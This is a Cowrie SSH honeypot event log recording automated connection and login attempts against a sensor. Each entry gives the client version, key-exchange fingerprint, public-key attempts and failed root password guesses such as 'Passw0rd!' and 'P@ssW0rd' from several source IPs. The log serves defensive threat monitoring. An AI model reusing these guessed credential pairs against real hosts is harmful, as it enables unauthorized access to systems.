{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:59.124712Z","src_ip":"2.57.122.208","session":"3088ed5ed8a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:59.327906Z","src_ip":"2.57.122.208","session":"3088ed5ed8a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dw123456","message":"login attempt [root/dw123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:59.759927Z","src_ip":"60.165.124.241","session":"9f1544fe41dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:00.224599Z","src_ip":"2.57.122.208","session":"3088ed5ed8a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:01.035955Z","src_ip":"60.165.124.241","session":"9f1544fe41dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:01.494625Z","src_ip":"2.57.122.208","session":"3088ed5ed8a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.42.176.142","src_port":36302,"dst_ip":"10.17.0.5","dst_port":22,"session":"6280e33cd991","protocol":"ssh","message":"New connection: 31.42.176.142:36302 (10.17.0.5:22) [session: 6280e33cd991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:01.669839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:01.676421Z","src_ip":"31.42.176.142","session":"6280e33cd991","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:01.773785Z","src_ip":"31.42.176.142","session":"6280e33cd991","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:fe:7a:4d:ee:13:5d:b8:16:62:e0:5a:5c:7f:77:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiwlobV3J1q6I2gnHp+Y/5Zk2WWIanZjhjV2m/S9PjH/TMPOexExH/0+TZalvXihK4gqIdMCitpR8MpfTiMDH0zYaIDDQThsvTBlQyoTeSVyrfqdQD51E7RyRYnRfSCbNzIoqwvgqw8E6bR7c6IE2rEcvacrtCiYtBDCoFZHQADV02fu632Ia0bmEd3Gfm0wyiXu9FhZE/UmZtMbtwZ2kpg+BhScS99Catqe/2rnIEDyIrkeGNHG90ejF3s9n9W5+Br9OJQnpMAOFdMYLoZ6XXpszpyNVH0SC+gfKKjhmENY2H3M5/QrzQIq6r+91kuF+NYj5q8ccVT+IkAJD+dJeL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:fe:7a:4d:ee:13:5d:b8:16:62:e0:5a:5c:7f:77:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:02.189371Z","src_ip":"31.42.176.142","session":"6280e33cd991","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:fe:7a:4d:ee:13:5d:b8:16:62:e0:5a:5c:7f:77:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiwlobV3J1q6I2gnHp+Y/5Zk2WWIanZjhjV2m/S9PjH/TMPOexExH/0+TZalvXihK4gqIdMCitpR8MpfTiMDH0zYaIDDQThsvTBlQyoTeSVyrfqdQD51E7RyRYnRfSCbNzIoqwvgqw8E6bR7c6IE2rEcvacrtCiYtBDCoFZHQADV02fu632Ia0bmEd3Gfm0wyiXu9FhZE/UmZtMbtwZ2kpg+BhScS99Catqe/2rnIEDyIrkeGNHG90ejF3s9n9W5+Br9OJQnpMAOFdMYLoZ6XXpszpyNVH0SC+gfKKjhmENY2H3M5/QrzQIq6r+91kuF+NYj5q8ccVT+IkAJD+dJeL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:02.195518Z","src_ip":"31.42.176.142","session":"6280e33cd991","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45830,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bddfd95010a","protocol":"ssh","message":"New connection: 60.165.124.241:45830 (10.17.0.5:22) [session: 2bddfd95010a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:02.273427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:02.278545Z","src_ip":"60.165.124.241","session":"2bddfd95010a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:26:aa:78:bb:2d:6a:58:42:aa:b9:46:c9:71:bd:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK3hEhjaMycspqoi1fITw7wjBQE185ZNHow72vMzXTI56ch8X9kpZyv5xc87kDki5STwWf9KiS4HaLQXHr4MGCuRWZ0r4KNCr/8tZw3jhQvzCNbVclVhLiAuUPdoQsAC2ntGrfmkPzwJsA3gXNZV12EZCwHPbDFDIvlB+IIYM2vmRH9ykK6apRFOJnZauKI37l5ayyN4IHdnq3ck5Xo1fuiS3qInGpWhiImMQKzo3eAtLH8Hza5JnhZ0EA3ZbKPiKmOmIolbjqkfeJNKy3rnOhD2rHhPlG0EIjKQyAFMshVMTDuq8Lx/S+jQXxfZs5N67td5+cIobaYiLXXgadeiNl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:26:aa:78:bb:2d:6a:58:42:aa:b9:46:c9:71:bd:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:02.315917Z","src_ip":"31.42.176.142","session":"6280e33cd991","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:26:aa:78:bb:2d:6a:58:42:aa:b9:46:c9:71:bd:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK3hEhjaMycspqoi1fITw7wjBQE185ZNHow72vMzXTI56ch8X9kpZyv5xc87kDki5STwWf9KiS4HaLQXHr4MGCuRWZ0r4KNCr/8tZw3jhQvzCNbVclVhLiAuUPdoQsAC2ntGrfmkPzwJsA3gXNZV12EZCwHPbDFDIvlB+IIYM2vmRH9ykK6apRFOJnZauKI37l5ayyN4IHdnq3ck5Xo1fuiS3qInGpWhiImMQKzo3eAtLH8Hza5JnhZ0EA3ZbKPiKmOmIolbjqkfeJNKy3rnOhD2rHhPlG0EIjKQyAFMshVMTDuq8Lx/S+jQXxfZs5N67td5+cIobaYiLXXgadeiNl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:02.320709Z","src_ip":"31.42.176.142","session":"6280e33cd991","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"75:08:b9:ec:fe:94:56:b5:23:d4:73:69:c7:11:3d:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdzliPiZ5Fv4vTfrNKUCCC4+8alOsdMeXvSVviENBa5VDUOOWEWiQzBjJLWtJQWWCXJ7LD+V5vwFCxXH2Xfd8Kp8vb/sX/53Mgn4rj4730pQ/i9xOniq685FfVDjcwp5XBN8neURWiyP3X+d6Rj9a7QWEkFOb7l02PnBk2zIO8xlL72XpAXOpLIt+3sFvj4EsClh+qjrUbPXa+kHLdNfxrpccPFJJSvJ1zc9wy7kTnbZL3yOuQ5IpAoxCxSEoON9a9Fgf5kYcqN8znIp5290H6PTTjiY/kuE36fDI8TGGHy1mEskrluOgSnlzQeMpISRQHthT93Ju2royaNwH+FdsD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 75:08:b9:ec:fe:94:56:b5:23:d4:73:69:c7:11:3d:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:02.413135Z","src_ip":"31.42.176.142","session":"6280e33cd991","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"75:08:b9:ec:fe:94:56:b5:23:d4:73:69:c7:11:3d:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdzliPiZ5Fv4vTfrNKUCCC4+8alOsdMeXvSVviENBa5VDUOOWEWiQzBjJLWtJQWWCXJ7LD+V5vwFCxXH2Xfd8Kp8vb/sX/53Mgn4rj4730pQ/i9xOniq685FfVDjcwp5XBN8neURWiyP3X+d6Rj9a7QWEkFOb7l02PnBk2zIO8xlL72XpAXOpLIt+3sFvj4EsClh+qjrUbPXa+kHLdNfxrpccPFJJSvJ1zc9wy7kTnbZL3yOuQ5IpAoxCxSEoON9a9Fgf5kYcqN8znIp5290H6PTTjiY/kuE36fDI8TGGHy1mEskrluOgSnlzQeMpISRQHthT93Ju2royaNwH+FdsD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:02.422379Z","src_ip":"31.42.176.142","session":"6280e33cd991","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:fc:ee:ef:14:a4:a3:b3:ed:a4:44:3f:7b:99:e4:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5TE12TDe4rK1r47tUB7ZzEOdXYQTuxTDz0bd2jpHZGISfG5Z2SFVY+phyC91lpj9BE/SMhxWP7swbpnFmsw/BTtAbkYdpTjJfHnoMxmbZBIMO6EMlViaZCk9cojpk8E91wctHrZO+uqyj8hB3TI0NRyoamGXZkQMFHZ70QD9e9cQuUsoDR1P0RBdhAQ++AjVb1tU5YUmhjH4bYBkAe+puK0MPE8tM6e2TSpiMn6zgfauhs2KrjfKnNye8HxkBYKA7AFktHWiWviopjAkdcEAnzG8pxKdA46yBr6JeK4qQMVXN1dOOACQovd2ScWOJfP82si+bN+QtIFYddZifonXN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:fc:ee:ef:14:a4:a3:b3:ed:a4:44:3f:7b:99:e4:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:02.515618Z","src_ip":"31.42.176.142","session":"6280e33cd991","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:fc:ee:ef:14:a4:a3:b3:ed:a4:44:3f:7b:99:e4:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5TE12TDe4rK1r47tUB7ZzEOdXYQTuxTDz0bd2jpHZGISfG5Z2SFVY+phyC91lpj9BE/SMhxWP7swbpnFmsw/BTtAbkYdpTjJfHnoMxmbZBIMO6EMlViaZCk9cojpk8E91wctHrZO+uqyj8hB3TI0NRyoamGXZkQMFHZ70QD9e9cQuUsoDR1P0RBdhAQ++AjVb1tU5YUmhjH4bYBkAe+puK0MPE8tM6e2TSpiMn6zgfauhs2KrjfKnNye8HxkBYKA7AFktHWiWviopjAkdcEAnzG8pxKdA46yBr6JeK4qQMVXN1dOOACQovd2ScWOJfP82si+bN+QtIFYddZifonXN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:02.520496Z","src_ip":"31.42.176.142","session":"6280e33cd991","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:04:a9:e2:d9:f4:cb:ac:1b:fe:5f:9b:a3:11:a8:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmqLFlZ3QwdUj9AyBTwkK9ix7GcnFKLgwZL4dZy4ZmpvYagvBhQc5nMvsZgeTYKjrRLBbV6WLaMrtMe4Kj9q0/ALQRo5b3bnAeI1w09kwfzFlTSqrCVG4ikyZ/fYcW4l3TbhCwrye1JKhf0TgjiwrfE6xvvnc96Asiz6G80Y/aHiHqVmFmG7bROadwKJ+GZQ+yM83OK+u7WrQBsAxq5cqdAfKJbdDuLtmt+ngKgGQnh8QUcmCukQ3J2Z8nkbnV1FNrOhEkGYLn98KbsTE4D46MpUQjryB54QUQNtfzYu4/oiAX4IadHeix7pmIBeSSRwGwa+NeykHgV3a0jHfVhlFF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:04:a9:e2:d9:f4:cb:ac:1b:fe:5f:9b:a3:11:a8:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:02.624476Z","src_ip":"31.42.176.142","session":"6280e33cd991","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:04:a9:e2:d9:f4:cb:ac:1b:fe:5f:9b:a3:11:a8:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmqLFlZ3QwdUj9AyBTwkK9ix7GcnFKLgwZL4dZy4ZmpvYagvBhQc5nMvsZgeTYKjrRLBbV6WLaMrtMe4Kj9q0/ALQRo5b3bnAeI1w09kwfzFlTSqrCVG4ikyZ/fYcW4l3TbhCwrye1JKhf0TgjiwrfE6xvvnc96Asiz6G80Y/aHiHqVmFmG7bROadwKJ+GZQ+yM83OK+u7WrQBsAxq5cqdAfKJbdDuLtmt+ngKgGQnh8QUcmCukQ3J2Z8nkbnV1FNrOhEkGYLn98KbsTE4D46MpUQjryB54QUQNtfzYu4/oiAX4IadHeix7pmIBeSSRwGwa+NeykHgV3a0jHfVhlFF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:02.628675Z","src_ip":"31.42.176.142","session":"6280e33cd991","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:02.718598Z","src_ip":"31.42.176.142","session":"6280e33cd991","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:03.259826Z","src_ip":"60.165.124.241","session":"2bddfd95010a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd!","message":"login attempt [root/Passw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:04.759068Z","src_ip":"60.165.124.241","session":"2bddfd95010a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:06.000493Z","src_ip":"60.165.124.241","session":"2bddfd95010a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51806,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c2c7b7e3eb5","protocol":"ssh","message":"New connection: 60.165.124.241:51806 (10.17.0.5:22) [session: 1c2c7b7e3eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:06.274536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:06.280810Z","src_ip":"60.165.124.241","session":"1c2c7b7e3eb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:06.548466Z","src_ip":"60.165.124.241","session":"1c2c7b7e3eb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0plmnko9","message":"login attempt [root/0plmnko9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:07.337487Z","src_ip":"60.165.124.241","session":"1c2c7b7e3eb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:08.595450Z","src_ip":"60.165.124.241","session":"1c2c7b7e3eb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55062,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7459a019f38","protocol":"ssh","message":"New connection: 60.165.124.241:55062 (10.17.0.5:22) [session: a7459a019f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:08.811567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:08.816756Z","src_ip":"60.165.124.241","session":"a7459a019f38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:09.054398Z","src_ip":"60.165.124.241","session":"a7459a019f38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssW0rd","message":"login attempt [root/P@ssW0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:05:09.772543Z","src_ip":"60.165.124.241","session":"a7459a019f38","protocol":"ssh"}
